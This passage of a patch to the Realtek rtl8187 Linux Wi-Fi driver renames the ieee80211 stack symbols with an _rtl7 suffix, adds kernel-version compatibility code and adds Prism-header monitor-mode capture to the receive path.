sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ 